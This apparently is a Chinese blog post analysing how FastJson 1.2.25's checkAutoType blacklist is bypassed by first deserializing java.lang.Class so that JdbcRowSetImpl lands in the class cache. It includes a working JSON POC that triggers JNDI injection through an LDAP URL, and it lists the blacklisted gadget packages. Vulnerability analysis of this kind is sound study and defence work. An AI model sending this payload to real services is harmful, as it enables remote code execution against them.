首页 > 其他分享 >FastJson反序列化3-1.2.25绕过

FastJson反序列化3-1.2.25绕过

时间:2024-03-17 23:22:22浏览次数:26  
标签:FastJson 25 表中 apache org 序列化 Class 加载

在1.2.25中,主要添加了config.checkAutoType(typeName, null)函数,所以从这里开始查看检查逻辑;

为了方便,先看POC;

    public void byPass1(){
        String s1="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/QxtsWChu\",\"autoCommit\":0}}";
        JSON.parse(s1);
    }

关于POC中为什么要先反序列化Class类在debug的过程中应该就明白了,另外一个类就是JNDI注入的POC,这里先解释为什么要传入一个val值:

此处的val值其实对应着恶意类名,在MisCodec(序列化和反序列化器)中本来应该叫做strVal,但是由于该类中deserialze()方法中的判断逻辑,所以只能叫做val;

因为基本上代码没有太多变化,仅仅加入了一个checkAutoType函数,而函数的返回值是一个Class,所以直接从这个函数开始分析;

下面是具体分析流程:

该类中typeName为需要反序列化的类,expectClass为期望类,期望类默认为空;

检查typeName是否为空,替换内部类;

如果开启了autoType或者expectClass不为空,并且expectClass在期望类集合中,则直接进行类加载,但是默认情况显然进不去;

如果该类在黑名单,则直接抛出异常,黑名单如下:

  • "bsh"
  • "com.mchange"
  • "com.sun."
  • "java.lang.Thread"
  • "java.net.Socket"
  • "java.rmi"
  • "javax.xml"
  • "org.apache.bcel"
  • "org.apache.commons.beanutils"
  • "org.apache.commons.collections.Transformer"
  • "org.apache.commons.collections.functors"
  • "org.apache.commons.collections4.comparators"
  • "org.apache.commons.fileupload"
  • "org.apache.myfaces.context.servlet"
  • "org.apache.tomcat"
  • "org.apache.wicket.util"
  • "org.codehaus.groovy.runtime"
  • "org.hibernate"
  • "org.jboss"
  • "org.mozilla.javascript"
  • "org.python.core"
  • "org.springframework"

如果以上情况都不满足,尝试从缓存表中得到类;

这里使用的类为java.lang.Class,所以找到了。所以直接返回了。

返回之后,会去根据类找到对应的反序列化器,还记得之前的POC吗,都是使用的JavaBeanDeserializer,废话不多说,继续跟。

这个反序列化器是从config(ParseConfig)中找的,这个类设置了很多常用类的反序列化器,我们在之前调试中就可以看到,Class类对应的反序列化器是MisCodec,跟进;

来到反序列化过程。我们一直跟进到下面的语句。

如果,我们传入的类为Class,则加载类,并且将strVal传过去,strVal是我们设置的恶意类名;继续跟进这个方法;

如果类名以[或者L开头,都会直接进行动态类加载(如果开启了autoType,可以在恶意类的前面加上L或者[,绕过黑名单进行类加载);

如果classLoader不为空,会直接加载类;并且将该类名和类对象放入缓存表中;但是这里我们进不去,继续跟;

获取系统自带的类加载器,如果与当前类加载器不一致,尝试加载这个类,并且将这个类名和类对象放入缓存表中以便下次使用;

这个操作没太看明白是在干什么,但是会导致我们传入的恶意类被放入到了缓存表中,那么这个恶意类在下次到缓存表中查找的时候就会被找到,从而直接进行类加载。

!

可以看到确实如我们所想,第二次加载这个恶意类的时候,会直接从缓存表中得到然后进行类加载,下面写的关于autoType和黑名单的限制就被跳过了。

标签:FastJson,25,表中,apache,org,序列化,Class,加载
From: https://www.cnblogs.com/K1na-blog/p/18079415

相关文章

  • FastJson反序列化2-1.2.24漏洞利用
    1、1.2.24漏洞利用-JNDI漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;该类实现了JdbcRowSwt接口,继承自BaseRowSet;packagecom.sun.rowset;其中setAutoCommit方法中的else分支调用了conn......
  • FastJson反序列化1-FastJson基础使用及反序列化流程分析
    1、FastJson简介及使用fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。1.1序列化JavaBean;假设现在程序中有一个类User,基本信息如下(省略构造方法及getset方法):packageorg.exampl......
  • [ABC258F] Main Street 题解
    题意:你要在平面直角坐标系中行走,每一步可以上下左右四个方向任意移动$1$,耗时$k$秒。特别地,存在若干条快速通道,若该步起点和终点均满足$x\equiv0\pmod{B}$或$y\equiv0\pmod{B}$,则认为该步是在快速通道上进行,仅需耗时$1$秒。询问从$(S_x,S_y)$到$(G_x,G_y)$最......
  • [Python初阶]2255.统计是给定字符串前缀的字符串数目
    目录     2255.统计是给定字符串前缀的字符串数目①.题目②.问题分析③.startswith()方法理解与说明Ⅰ.定义和用法 Ⅱ.语法 ④.问题解决⑤总结     2255.统计是给定字符串前缀的字符串数目①.题目②.问题分析需求:统计列表words中,是字......
  • abc325D 打印机最多能打印的文档数
    有n份文档和一台打印机,第i份文档在t[i]时刻进入打印区,停留d[i]时间后离开打印区,打印机可以在[t[i],t[i]+d[i]]范围内打印它,打印耗时不计,在打印完成后,需要1个单位时间恢复。问最多能打印多少份材料?1<=n<=2e5;1<=t[i],d[i]<=1e18打印机每次应选择在打印区内,并且最先离开打印区的......
  • 【网站项目】325企业OA管理系统
    ......
  • 每日一练:LeeCode-125、验证回文串【字符串+双指针】
    如果在将所有大写字符转换为小写字符、并移除所有非字母数字字符之后,短语正着读和反着读都一样。则可以认为该短语是一个回文串。字母和数字都属于字母数字字符。给你一个字符串s,如果它是回文串,返回true;否则,返回false。示例1:输入:s="Aman,aplan,acana......
  • 20231325贾罗祁 2023-2024-2《Python程序设计》实验一报告
    20231325贾罗祁2023-2024-2《Python程序设计》实验一报告课程:《Python程序设计》班级:2313姓名:贾罗祁学号:20231325实验教师:王志强实验日期:2024年3月13日必修/选修:公选课1.实验内容熟悉Python的操作学会调试程序编译循环的剪刀石头布游戏创建gitee账户并推送上传......
  • 代码随想录算法训练营第十天(栈和队列I)| 232. 用栈实现队列、225. 用队列实现栈(JAVA)
    文章目录栈和队列理论基础概念方法栈队列232.用栈实现队列解题思路源码225.用队列实现栈解题思路源码总结栈和队列理论基础概念栈:后进先出队列:先进先出方法栈方法名作用Stackstack=newStack<>();构造栈stack.push(Ee)将e入栈,并返回estack.pop()将栈......
  • 有 25 匹⻢和 5 条赛道,赛⻢过程⽆法进⾏计 时,只能知道相对快慢。问最少需要⼏场赛⻢
    先把25匹⻢分成5组,进⾏5场赛⻢,得到每组的排名。再将每组的第1名选出,进⾏1场赛⻢,按照这场的排名将5组先后标为A、B、C、D、E。可以知道,A组的第1名就是所有25匹⻢的第1名。⽽第2、3名只可能在A组的2、3名,B组的第1、2名,和C组的第1名,总共5匹⻢......